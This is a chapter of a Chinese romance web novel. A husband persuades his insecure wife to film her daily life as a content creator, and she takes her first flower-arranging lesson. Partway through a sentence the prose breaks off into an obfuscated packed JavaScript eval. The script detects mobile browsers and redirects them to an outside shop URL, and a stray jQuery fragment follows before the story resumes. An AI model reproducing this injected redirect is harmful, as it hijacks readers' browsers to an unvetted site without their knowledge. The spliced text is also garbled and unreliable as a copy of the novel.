池语宁怀疑闻仕谦是在和她说笑。
她见过的所有博主都性格开朗,为人豪爽,在镜头前毫不怯场。
而她恨不得隐姓埋名躲在闻仕谦身后,一辈子都不露脸。
他居然说她适合做自媒体?
她将疑惑都写在脸上。
闻仕谦的神色却由漫不经心转向正经,扬眉道:“不是说要为我做什么吗?现在流量就是万能的,你做自媒体能帮上我很大的忙,也能让你变得自信起来。”
池语宁还在犹豫。
闻仕谦又说:“也不让你一个人干,家里的保姆阿姨都可以帮你,我会提高她们的薪酬待遇,你对她们礼貌一点就可以了。她们都是我精挑细选过的,会守口如瓶。”
都把自己的生活暴露在大众视野中了,守口如瓶也没有什么用吧……
池语宁还是不情愿。
她现在很害怕镜头。
除了她本身的自卑以外,还有一个因素是令她犹豫不决的。
那就是当初她自己拍过自己的身体,然后一失足成千古恨,被摄像机对着,没有尊严地拍了个彻底。
现在再让她回到镜头前,她便觉得自己从头到脚都是丑陋不堪的,一看到镜头就想逃。
更何况互联网的评论区如同修罗场。
她出镜就意味着接受自己被无数双眼睛凝视,被所有经过的路人品评。
可话从闻仕谦口中说出来总有几分道理,他三言两语仿佛已经为她铺好了一条通往成功的捷径。
尤其是在听到能帮上他忙后,拒绝的话便怎么也说不出口了。
她太渴望自己能派上用场,贡献出自己的一份力量。
“这样真的能帮到您吗?”她还是不自信,“可是我不擅长面对镜头,也不知道该怎么吸引观众,我怕把您的奇思妙想弄砸了。”
“我的奇思妙想?”闻仕谦扬唇笑道,“不,是你的本真。虽然自媒体通常需要运营,但你不用刻意拿别人写好的剧本凹人设,只需要做好你自己即可。不管你怎样造作,喜欢你的人就是会喜欢。”
池语宁抿抿唇,悲观地垂眼道:“不喜欢我的人也会不喜欢。”
闻仕谦看着她心事重重地模样,听到她消极的答复抓住了问题的症结,问她:“那为什么要在乎不喜欢你的人的看法,他们不仅不重要,而且对你造不成任何影响。就算他们想要找上门来当面数落你,也没有机会接触到你,你怕什么呢?”
“我……”
池语宁也不知道自己在恐惧什么。
或许正是因为贪心的想要全世界都喜欢自己,所以个别的不喜欢才那么惹人注意。
她没有去接闻仕谦的话腔,转而说道:“我不知道可以在镜头面前做什么。只要镜头对过来,我就会感到被人注视的压力。觉得好像有无数人正盯着我,会想他们会认为我正在做的事情无聊吗,我的姿势和动作会不会很做作。”
她越说到后面语速越快,可以听得出她的慌乱。
只是假设面对镜头的情境而已,她已经丢盔卸甲,恨不能落荒而逃。
闻仕谦牵住了她的手,给了她一点安定心神的力量:“我说过了,你很好,你就是说自己是大家闺秀也有人信。你待人接物很有礼貌,你看,哪怕是我们现在结了婚,有了夫妻的名分,你对我还是客气地用尊称。”
哪怕他只是随口举了个例子,池语宁也惶恐不已,连忙不知所措的想要纠正对他的称谓,可更亲密的称呼依然叫不出口,整个人都惊慌失措地往他怀里扑,反应一时有些过激。
说了半天都白说了,既好气又好笑。
闻仕谦放弃了改变她的想法,选择接受她当下就是这个样子,不再劝说什么,转而商量起怎么拍摄。
“就从给你安排的那些课录吧。只需要把学习的过程记录下来,不需要对着镜头互动,就安安静静地做你自己的事,把细节录完整。”
池语宁等了许久都没有等到他说后面的话,忍不住眨了眨眼睛,问:“然后呢?现在城市的生活节奏这么快,拍这种朋友圈日常有人看吗?”
闻仕谦无奈地失笑:“那现在要你拍那些抽象的段子,你豁得开脸面吗?刚开始做不用心急,可以慢慢摸索。”
他气定神闲地说:“我当然也可以花钱投流,然后招募专业的团队在幕后运营,让他们拿出最热门的方案把这件事做起来,但你将毫无体验感,也会生出一种被我利用的感觉,有违我的本意。我希望你开开心心的就能收获一点小小的成绩。”
池语宁拧巴的毛病犯了,想接着问他,如果一直辛苦地做这件事情,还是一无所获怎么办,又担心这样直白地问出来,让他察觉自己的软弱无能,认为她就是一团扶不上墙的烂泥,对她彻底丧失信心。
闻仕谦却像洞穿了她的心思,没有安慰她说就算没做起来又怎么样,而是笃定地说:“当你觉得自己这也做不好,那也做不好的时候,不要表现出来。这并不能让你将手头的事做好,反而会分散你的心神,陷入恶性循环。只要尽了力,或多或少都会有收获,哪怕只是一点点。”
“互联网是把双刃剑,自媒体打破了常规的模式,让人人都有成为世界中心的可能。但吃这碗饭并不是那么简单,可能比过去令你感到挫败的考试还要难。可那又怎么样,人生在世本就有很多的难题,你需要学会克服和解决。”
“我只是想让你在做这件事的过程中,透过镜头看看你自己,尝试着从他人的视角客观地看待自己,就会觉得自己也没那么差劲。”
“我说你适合做这行不是没有道理的。谁说当博主就一定要外向?你身上有着普罗大众与生俱来的共性,做事时专注认真,面相和善,态度诚恳,这恰恰是大多数人稀缺的品质。我相信就算你不刻意费尽心机,也能凭着这份质朴打动人。”
池语宁没想到自己在他眼里有这么好,不禁红了脸颊。
从小到大,父母只会指责她不够优异,而前男友更是骑在她头上践踏她的尊严,从来没有人像闻仕谦这样,把她的普通和笨拙拆解成难能可贵的优点,鼓励她站上舞台大放异彩。
她深吸了一口气,对着他点点头。
闻仕谦温柔地揉了揉她的发顶,勉励道:“加油,相信自己,我看好你。”
池语宁伸手环住他的腰,将脸埋入他怀中,瓮声瓮气地表白心意,这回没再用敬语:“有些话我一直想对你说。不是谁能帮助我脱离困境,我就对他死心塌地,我喜欢的只有你,自始至终想嫁给的也只有你。婚姻不是我落水时抓住的救命稻草,你才是。我是因为嫁的人是你才想结婚的。”
表面上她是为了逃避工作上的烦恼、家人的控制、社会的围剿,才稀里糊涂地步入了婚姻。
可当他们经人介绍再次重逢时,她看见他的瞬间,确实有遇见心上人的悸动。
嫁给他以后,她不是庆幸自己没有嫁入穷苦人家面对家里的一地鸡毛,而是梦寐以求的纯真爱情就这么不可思议地落到了自己头上,终于做了一次受上天偏宠的幸运儿,自己过去的心酸委屈也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767459|209768||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
算不了什么了,因为每一次和他的相处都能尝到幸福的滋味。
当再说到如人饮水冷暖自知的时候,她可以胸有成竹地告诉对方,自己喝到温热的水了。
闻仕谦没想到她在诉衷肠完了以后,会自己加上表忠心的环节,饶是他到了沉心静气的年纪,也不免为她恳挚的话语动容。
他抚着她的背轻轻拍了拍,温和地说:“我也一样。”
那张被她记了笔记却怎么也写不出自己优点的A4纸依然摊放在桌面上。
闻仕谦捞过来摆在她面前,将她的脸从怀中掰了出来,不给她讨饶的机会,不容置喙地说:“躲得过初一,躲不过十五,这十条优点你迟早得给我补齐。等你做一段时间的自媒体,我再来问你。”
池语宁刚才的话语饱含深情,她尚未从浓烈的情绪中退出来,就听到他兜头泼了这么盆凉水,顿时惊愕地看向他。
闻仕谦拨开她额前凌乱的碎发,捧着她的脸戏谑地说:“我的太太可不好当,嫁给我的时候,你就该意识到的。”
池语宁不管不顾地重新搂住他,再次将脸埋进他怀中时候撒娇般蹭了蹭,情真意切地说:“那也比我孤身一人六神无主的时候好太多。”
闻仕谦拿她一点办法都没有,一下午连一个业务电话都没有接,陪着她选了插花老师,订购了明天要用到的花材和容器。
花瓶和花束都是池语宁一样一样挑的,消磨了两人不少时间,她连胡思乱想都忘了。
闻仕谦默默记下了她喜欢的颜色和花束品种,特地用备忘录记在手机里,以备将来的各种纪念日用。
当天从供应商那里下了单,第二天一早货就成筐地运到了家里,老师几乎是和货品一起到的。
插花老师是一位气质温婉的中年女性,说话轻声细语,耐心十足。
家中的保姆按照闻仕谦的吩咐早早架好了几台隐蔽的摄像机,自己也拿了个小巧的微单站在不远不近的地方帮忙抓拍,满脸都是参与新鲜事物的热情,全然没有一丝一毫的班味。
一开始,池语宁还有些拘谨,拿着剪刀的手微微发抖,生怕一剪刀下去摧折了昂贵娇嫩的花朵。
但老师并没有催促她,只是握着她的手,教她如何观察花的姿态,如何顺应植物的生长趋势去修剪。
池语宁有样学样将修剪好的花枝插进花泥里,全程全神贯注。
随着时间的推移,她逐渐忘记了镜头的存在,完全沉浸在了美丽的花草世界和色彩的搭配中。
闻仕谦倚靠在门框上看着她,满心满眼都只有自己的爱人。
他眼中烂漫的少女穿着米白色的针织开衫,长发松松垮垮地挽在脑后,几缕调皮的碎发垂落在白皙的颈侧,随着她修剪枝叶的动作微微晃动。
他没有出声打扰,就这样一声不吭地看了许久。
插花课结束后,老师对池语宁给出了很高的评价:“很漂亮。你第一次体验插花就有这样的天赋真是难得。虽然手法略显生疏,还可以通过后面的练习加强,但配色和高低错落的层次感都透着灵气,审美远超及格线。”
池语宁连忙感谢老师的夸奖,看着自己亲手完成的第一件作品,眼中流露出难以掩饰的惊喜。
她雀跃地捧着那个素雅的陶瓷花瓶跑到闻仕谦面前求表扬:“这是我今天插的花,老师说我插得很好,送给您,您看放在哪里比较合适呢?”
闻仕谦微笑着接过花瓶,将它就近摆在了最显眼的位置,而后深情款款地说道:“当然是,放心里。”